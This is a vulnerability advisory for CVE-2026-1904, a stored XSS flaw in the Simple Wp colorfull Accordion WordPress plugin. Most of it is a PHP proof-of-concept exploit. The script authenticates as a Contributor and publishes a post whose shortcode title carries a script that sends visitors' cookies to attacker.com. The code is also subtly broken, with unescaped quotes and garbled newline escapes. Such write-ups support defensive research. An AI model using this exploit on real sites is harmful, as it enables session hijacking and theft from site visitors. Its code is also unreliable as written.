Atomic Edge analysis of CVE-2026-1904 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Simple Wp colorfull Accordion WordPress plugin. The ‘title’ parameter within the ‘accordion’ shortcode lacks proper sanitization and output escaping. Attackers with Contributor-level permissions or higher can inject malicious scripts that execute when users view pages containing the compromised shortcode.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping (CWE-79). The plugin likely accepts user-supplied input via the ‘title’ shortcode attribute without validating or escaping it before storage. The stored data is then rendered without proper output escaping when the shortcode executes. These conclusions are inferred from the CVE description and CWE classification, as source code is unavailable for confirmation.
Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker creates or edits a post containing the vulnerable shortcode with a malicious ‘title’ attribute payload. Example: [accordion title=”alert(document.cookie)”] content [/accordion]. The payload executes in visitors’ browsers when they view the compromised post. Attackers could also modify existing posts containing the shortcode if they have edit permissions.
Remediation requires implementing proper input sanitization and output escaping. The plugin should sanitize the ‘title’ parameter using WordPress functions like sanitize_text_field() before storage. The plugin must also escape output during rendering using esc_html() or esc_attr() depending on context. WordPress shortcode APIs provide built-in attribute handling that should be utilized.
Successful exploitation allows attackers to execute arbitrary JavaScript in victims’ browsers. This can lead to session hijacking, administrative actions performed by logged-in users, content defacement, or redirection to malicious sites. The stored nature means a single injection affects all users viewing the compromised page until removal.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1904 - Simple Wp colorfull Accordion <= 1.0 - Authenticated (Contributor+) Cross-Site Scripting via 'title' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2026-1904
* Assumptions:
* 1. Target site has Simple Wp colorfull Accordion plugin <= 1.0 installed
* 2. Attacker has valid Contributor-level credentials
* 3. WordPress REST API is enabled (default)
* 4. Plugin uses standard WordPress shortcode registration
*/
$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Payload to inject - demonstrates cookie theft
$malicious_title = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>';
$post_content = "[accordion title="$malicious_title"]Injected accordion content[/accordion]";
// Step 1: Authenticate via WordPress REST API
$auth_url = $target_url . '/wp-json/jwt-auth/v1/token';
$auth_data = array('username' => $username, 'password' => $password);
$ch = curl_init($auth_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($auth_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
die("Authentication failed. Check credentials or JWT plugin availability.");
}
$auth_result = json_decode($response, true);
$token = $auth_result['token'] ?? '';
if (empty($token)) {
die("Could not retrieve authentication token.");
}
// Step 2: Create post with malicious shortcode
$post_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
'title' => 'Test Post with Malicious Accordion',
'content' => $post_content,
'status' => 'publish'
);
$ch = curl_init($post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Authorization: Bearer ' . $token
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 201) {
$post_result = json_decode($response, true);
$post_id = $post_result['id'] ?? 0;
$post_link = $post_result['link'] ?? '';
echo "Exploit successful! Post created with ID: $post_idn";
echo "Access the post at: $post_linkn";
echo "Payload will execute when users view the page.n";
} else {
echo "Post creation failed. HTTP Code: $http_coden";
echo "Response: $responsen";
}
?>
